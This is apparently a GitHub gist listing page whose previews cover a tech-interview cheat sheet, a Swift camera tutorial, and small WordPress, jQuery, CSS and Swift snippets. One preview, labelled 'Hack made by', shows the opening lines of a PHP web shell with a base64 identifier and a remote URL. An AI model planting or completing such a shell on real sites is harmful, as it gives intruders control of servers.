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coquer / The Technical Interview Cheat Sheet.md
Last active August 26, 2015 10:47 — forked from tsiege/The Technical Interview Cheat Sheet.md
This is my technical interview cheat sheet. Feel free to fork it or do whatever you want with it. PLEASE let me know if there are any errors or if anything crucial is missing. I will add more links soon.

Studying for a Tech Interview Sucks, so Here's a Cheat Sheet to Help

This list is meant to be a both a quick guide and reference for further research into these topics. It's basically a summary of that comp sci course you never took or forgot about, so there's no way it can cover everything in depth. It also will be available as a gist on Github for everyone to edit and add to.

Data Structure Basics

###Array ####Definition:

  • Stores data elements based on an sequential, most commonly 0 based, index.
  • Based on tuples from set theory.

Building our first Camera App

In the first ever SwiftCast TV screencast. We will teach you how to build a Camera application that allows you to take a photo, select an existing photo, and view our selected photo. Let’s get started.

Chapter 1: Setting up our Application

Create a new Application by clicking "Create a new Xcode project". When asked to Choose a template for your new project, we are going to select "Single View Application" under iOS/Application. Then click the "Next" button.

@coquer
coquer / gist:ab84752dcd98dcb4099b
Created January 14, 2015 12:58
Hack made by: Giud@M@ligno
<?
$sh_id = "LT1dIGZ4MCBbPS0=";
$sh_name = base64_decode($sh_id);
$sh_mainurl = "http://fx0.name";
$html_start = '<html><head>
@coquer
coquer / gist:050ed6ea84def6fb2be1
Last active August 29, 2015 14:14
BootStrapLight Box Prepare URL
function changeVimeoURiToEnableLightBox($url){
$video_url = parse_url($url);
if($video_url['host'] == 'www.vimeo.com' || $video_url['host'] == 'vimeo.com'){
return 'player.'.$video_url['host'].'/video'.$video_url['path'];
}
return $url;
}
@coquer
coquer / gist:c6d805df0a38f9cc2920
Created January 31, 2015 11:12
return from function
array(3) {
["scheme"]=>
string(4) "http"
["host"]=>
string(9) "vimeo.com"
["path"]=>
string(9) "/80629469"
}
player.vimeo.com/video/80629469
@coquer
coquer / gist:92804d34f8118cf06efe
Created February 6, 2015 10:00
Resize DOM depending of biggest child Size
jQuery(_parent_class).each(function(i, obj) {
var xa = jQuery(obj).find(_find_class_name),
h = jQuery(xa).map(function(){
return jQuery(this).height();
});
var are = h.context.firstElementChild.clientHeight;
jQuery(_find_class_name).css('height', h.context.firstElementChild.clientHeight);
});
@coquer
coquer / functions.php
Created February 25, 2015 11:11
Function to be added
function addCustomScripts() {
wp_enqueue_script( 'gray-scale-functions', get_template_directory_uri().'/js/functions.js', array( 'jquery' ), false, false);
wp_enqueue_script( 'gray-scale', get_template_directory_uri().'/js/grayscale.js', array( 'jquery' ), false, false);
}
add_action( 'wp_enqueue_scripts', 'addCustomScripts' );
@coquer
coquer / style.css
Created February 25, 2015 11:12
to be added in the style.css
.teamMemberInner img {
filter: url('js/filters.svg#grayscale');
filter: gray;
-webkit-filter: grayscale(1);
-webkit-transition: all 0.7s ease;
-moz-transition: all 0.7s ease;
-ms-transition: all 0.7s ease;
-o-transition: all 0.7s ease;
transition: all 0.7s ease;
}
@coquer
coquer / included.php
Created March 3, 2015 10:07
Wordpress Finding Files inside A mess
$included_files = get_included_files();
$stylesheet_dir = str_replace( '\\', '/', get_stylesheet_directory() );
$template_dir = str_replace( '\\', '/', get_template_directory() );
foreach ( $included_files as $key => $path ) {
$path = str_replace( '\\', '/', $path );
if ( false === strpos( $path, $stylesheet_dir ) && false === strpos( $path, $template_dir ) )
unset( $included_files[$key] );
// Playground - noun: a place where people can play
import UIKit
// Setup the calendar object
let calendar = NSCalendar.currentCalendar()
// Set up date object
let date = NSDate()